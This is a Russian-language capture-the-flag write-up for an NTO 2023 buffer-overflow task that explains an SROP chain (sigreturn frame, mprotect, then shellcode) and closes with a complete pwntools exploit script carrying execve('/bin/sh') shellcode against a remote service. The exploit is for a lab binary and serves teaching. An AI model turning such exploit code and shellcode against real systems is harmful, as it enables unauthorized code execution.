# PWN-1 Оценка: 10 ## Описание В данном задании необходимо проэксплуатировать бинарную уязвимость, связанную с переполнением буфера. [Файл №1](https://github.com/dered-cybersecurity/nto_2023/blob/main/1-offensive/PWN-1/1a7f59d4-1d97-4199-8a38-f6bfb31fcc7d_micro.zip) ## Решение ![](https://i.imgur.com/ixU2mcJ.jpg) Таск состоит из одного бинарного файла, который состоит из 14 строчек ассемблерного кода и слинкован без каких-либо библиотек (рис. 1). ![](https://i.imgur.com/SOe4HoY.jpg) Из ассемблерного кода становится ясна суть программы: после прочтения на стек `0x20` байт начинается переполнение, позволяющее получить контроль над потоком выполнения программы. Поскольку в задании отсутствуют механизмы защиты в лице канареек и `PIE`, очевидным способом решения задания становится `ROP`. ### SROP В задании присутствует один существенный нюанс - это размер бинарного файла. В силу размеров и отсутствия прилинкованных библиотек возникают трудности с построением рабочей `ROP`-цепочки. На первый взгляд существует всего 2 гаджета: - гаджет прочтения по адресу `rbp-0x20` - `syscall`- гаджет Однако, для того, чтобы воспользоваться `sycall`-гаджетом, нам необходимо контролировать значение регистра `rax`, для чего мы воспользуемся свойством вызываемого в программе syscall-ом `read` - количество прочитанных им байт сохраняется в этом регистре. Таким образом мы получили два примитива. К сожалению, этого все еще недостаточно, чтобы полноценно управлять исполнением программы, поскольку для использования остальных syscall-ов нам необходимо контроллировать аргументы для них, а гаджетов для этого попросту нет. На наше счастье существует syscall `sigreturn`, а техника построения `ROP`-цепочек с его использованием носит название `SROP`. sigreturn, rt_sigreturn - return from signal handler and cleanup stack frame int sigreturn(...); По сути данный syscall берет со стека значение всех регистров, которые предварительно были разложены туда в определенном порядке. Итак, поскольку в силу наличия примитива переполнения на стеке мы можем записать туда необходимые значения, то после вызова syscall-а `sigreturn` мы можем управлять значениями всех регистров. Дальнейший план построения ROP-цепочки - Подготовить на стеке значения всех регистров; - С помощью гаджета на чтение прочитать ровно `0xf` байт (номер syscall-а `sigreturn`); - Подготовить sigreturn frame для вызова `mprotect`; - После вызова mprotect записать shellcode и "прыгнуть" на него. ### Пояснение После вызова `sigreturn` будет выполнена инструкция `ret`, a значит, регистр `rsp` должен указывать на какое-то место в бинарном файле, в котором лежит адрес его исполняемой части, чтобы избежать падения программы. Это место ищется вручную с помощью gdb и в итоговом эксплойте является просто магическим числом. ### Пример исходного кода для решения ```py import pwn from time import sleep from os import getenv SHELLCODE = b"\x48\x31\xF6\x48\x31\xD2\x49\xB8\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x4C\x89\x04\x25\x00\x10\x40\x00\x48\xC7\xC7\x00\x10\x40\x00\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05" SYSCALL_GADGET = 0x000000000040102d READ_ON_BUF = 0x0000000000401018 binary = pwn.ELF("./micro") pwn.context.binary = binary io = pwn.remote(getenv("IP"), int(getenv("PORT"))) frame = pwn.SigreturnFrame() frame.rdi = 0x400000 frame.rsi = 0x10000 frame.rax = 0xa frame.rdx = 0x7 frame.rbp = 0x402100 frame.rip = SYSCALL_GADGET frame.rsp = 0x4021f0 payload = pwn.cyclic(0x20) # fill buffer payload += pwn.p64(READ_ON_BUF) payload += pwn.p64(SYSCALL_GADGET) payload += bytes(frame) io.send(payload) sleep(1) io.send(pwn.cyclic(0xf)) sleep(1) payload2 = pwn.cyclic(0x20) + pwn.p64(0x4021f0 + 0x8) payload2 += SHELLCODE io.send(payload2) io.interactive() ```